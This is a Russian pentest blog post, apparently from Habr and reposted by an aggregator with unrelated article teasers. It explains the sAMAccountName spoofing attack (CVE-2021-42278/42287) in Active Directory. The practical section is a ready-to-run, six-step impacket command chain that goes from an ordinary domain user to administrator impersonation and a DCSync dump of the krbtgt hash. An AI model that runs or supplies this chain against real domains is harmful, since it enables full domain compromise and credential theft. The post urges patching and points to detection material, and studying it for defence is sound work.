sAMAccountName-спуфинг: от LowPriv до домен админа за шесть команд

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Сап, Хабр!

Значится, сидим мы с коллегой (привет, @Acrono!) на площадке у Заказчика, воткнутые в скоммутированную сетевую розетку, да пентестим свои внутряки. Повсюду эти ваши 802.1x, AppLocker-ы, PowerShell CLM-ы, LAPS-ы, аверы лютуют, блоча попытки получить заветный хендл к lsass.exe, вся инфра на 2019-х серваках, небо над головой цвета экрана телевизора, настроенного на мертвый канал. В общем, страшный сон (этичного) хакера. И это уже продолжается третий день. Благо сегодня все будет по-другому, благо сегодня я прочитал про спуфинг sAMAccountName по дороге в офис...

Intro

На днях исследователь Чарли Кларк (@exploitph, известен своим форком PowerView) опубликовал свежий способ эскалации привилегий в домене Active Directory, основанный на эксплуатации уязвимостей CVE-2021-42287 и CVE-2021-42278. Пачка CVE, связанных с этими уязвимостями, крутится в твиттерах уже около месяца и была оперативно исправлена «мелкомягкими» в рамках ноябрьского Patch Tuesday. Но, как известно, кто не успел, тот опоздал, поэтому домен админа мы с Acrono все же успели получить. Далее расскажу (и покажу), как это делается, но для начала немного теории.

Предыстория

CVE-2021-42278

Как оказалось, механизмы Active Directory не проверяют наличие символа $ в конце имени компьютерного аккаунта, хотя все машинные имена оканчиваются именно им. Этот небольшой «не баг, а фича» приводит к вполне себе большим последствиям в связке с уязвимостью CVE-2021-42287.

CVE-2021-42287

Когда пользователь (или компьютер) запрашивает тикет TGS, контроллер сперва смотрит в предоставленный им TGT. В случае, если KDC не обнаруживает среди объектов домена объекта с именем, указанным в TGT, контроллер тупо добавляет символ $ к этому имени и шифрует отправляемый TGS с использованием ключа объекта «имя$».

И чо дальше?

А что если мы переименуем какой-нибудь компьютер в контроллер домена, запросим для него TGT, переименуем компьютер обратно (неважно в какое имя) и с использованием этого TGT запросим TGS на какую-либо службу (например, LDAP) этого, ныне уже не существующий, компьютера? Неужели мы получим билет, подписанный контроллером домена, на самого себя? Да не, бред, быть такого не может... Ведь так?

Практика

Нет, не так. Все сработает точно, как мы предположили. Продемонстрируем это. Так как эксплуатация уязвимости с Windows-системы, используя Powermad, PowerView и Rubeus, уже подробно описана автором первоначального исследования, я сделаю это удаленно с Linux-машины. В этом нам поможет Python и могущественная библиотека impacket.

0. ms-DS-MachineAccountQuota

Первым делом нам нужно создать машинную учетку. Это может прокрутить любой доменный пользователь при условии, что значение свойства ms-DS-MachineAccountQuota в домене AD больше нуля. Проверяем это с помощью go-windapsearch:

Cmd

windapsearch --dc 172.22.0.2 -d tinycorp.net -u j.doe -p 'P@$$w0rd' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=tinycorp,DC=net))' --attrs ms-ds-machineAccountQuota

Промеряем значение свойства ms-DS-MachineAccountQuota
Промеряем значение свойства ms-DS-MachineAccountQuota

1. addcomputer.py

Далее добавим машинную УЗ с помощью addcomputer.py:

Cmd

addcomputer.py -computer-name FromRussiaWithLove -computer-pass 'Passw0rd!' -dc-ip 172.22.0.2 -dc-host DC01.tinycorp.net tinycorp.net/j.doe:'P@$$w0rd'

Добавляем новую машинную учетку
Добавляем новую машинную учетку

2. renameMachine.py (1)

Успешно. Следующие два шага – убить SPN-ы, чтобы не было конфликтов при переименовании учетки, и, собственно, сам ренейм. Здесь придется немного замарать руки и скопипастить написать пару строк кода. К счастью, ldap3 позволяет легко изменять свойства объектов LDAP. В нашем случае это можно сделать в две строки:

ldap_session.modify(<MACHINE_DN_OBJ>, {'servicePrincipalName': [ldap3.MODIFY_REPLACE, []]})
ldap_session.modify(<MACHINE_DN_OBJ>, {'sAMAccountName': [ldap3.MODIFY_REPLACE, ['<NEW_NAME>']]})']])

Написанный на коленке скрипт можно подсмотреть туть.

Cmd

./renameMachine.py tinycorp.net/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name 'FromRussiaWithLove$' -new-name DC01

Убиваем SPN-ы и переименовываем машинную учетку в контроллер домена
Убиваем SPN-ы и переименовываем машинную учетку в контроллер домена

3. getTGT.py

Что у нас дальше по плану? Верно – получаем TGT с помощью getTGT.py:

Cmd

getTGT.py tinycorp.net/DC01:'Passw0rd!' -dc-ip 172.22.0.2

Получаем TGT для УЗ со заспуфанным sAMAccountName
Получаем TGT для УЗ со заспуфанным sAMAccountName

4. renameMachine.py (2)

Переменовываем машинную учетку обратно:

Cmd

./renameMachine.py tinycorp.net/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name DC01 -new-name 'FromRussiaWithLove$'

Обратный ренейм (новое имя может быть произвольным)
Обратный ренейм (новое имя может быть произвольным)

5. getST.py

Теперь самая интересная часть – получить тикет на службу нашего несуществующего компьютера, который магическим образом превратится в тикет на DC. Это можно сделать с помощью разновидности RBCD (англ. Resource-based Contrained Delegation) атаки. Активируя транзитное расширение S4U2self протокола Kerberos, мы можем заиметь такой TGS. До мастера impacket-а флаг -self еще не добрался, однако он уже добавлен в этом PR (подробности атаки можно глянуть в другом посте от @exploitph):

Cmd

KRB5CCNAME=DC01.ccache python3 impacket/examples/getST.py -spn LDAP/DC01.tinycorp.net tinycorp.net/DC01 -k -no-pass -dc-ip 172.22.0.2 -impersonate administrator -self

Получаем TGS, предоставляя TGT машины со заспуфанным sAMAccountName
Получаем TGS, предоставляя TGT машины со заспуфанным sAMAccountName

6. secretsdump.py

Вот и все, теперь у нас есть нужный тикет для DCSync-а и мы можем скомпрометировать критически важные учетные записи домена!

Cmd

KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass DC01.tinycorp.net -dc-ip 172.22.0.2 -just-dc-user 'TINYCORP\krbtgt'

DCSync the Planet!
DCSync the Planet!

Outro

Хочется привлечь внимание общественности к этой цепочке атак и призвать всех неравнодушных админов к наискорейшим патчам своих систем (даже несмотря на то, что нам, как пентестерам, это только добавит работы).

Информацию для BlueTeam-еров касательно детекта вредоносной активности в рамках описанного кейса можно найти в конце оригинального ресерча.

Спасибо за внимание и Happy Hacking!

Ссылки и ресурсы

  • eXploit – CVE-2021-42287/CVE-2021-42278 Weaponisation

  • KB5008102—Active Directory Security Accounts Manager hardening changes (CVE-2021-42278)

  • KB5008380—Authentication updates (CVE-2021-42287)

  • eXploit – Revisiting 'Delegate 2 Thyself'

  • Added -self to getST for S4U2self abuse by ShutdownRepo · Pull Request #1202 · SecureAuthCorp/impacket

Источник: https://habr.com/ru/post/594923/


Интересные статьи

Интересные статьи

Содержание:1.    Техническое понятие домена;2.    Структура доменного имени;3.    Организации, регулирующие доменные имена;4....
Соло-разработка проекта ПО — непростая задача. Никто не будет подталкивать тебя, проверять код и обеспечивать руководство, ты сам по себе путешествуешь в неизведанное. Чаще всего н...
В данной пошаговой инструкции мы подробно опишем весь процесс получения доступа к WhatsApp Business API через официального партнера Facebook — сервис Gupshup и подключени...
Использование PowerShell для управления Office 365 может сделать вашу работу быстрее, эффективнее и проще. PowerShell предоставляет доступ к информации о среде Office 365, к которой н...
Домашний роутер (в данном случае FritzBox) умеет многое регистрировать: сколько трафика когда ходит, кто с какой скоростью подключён и т.п. Узнать, что скрывается под непонятными адресатами, мне ...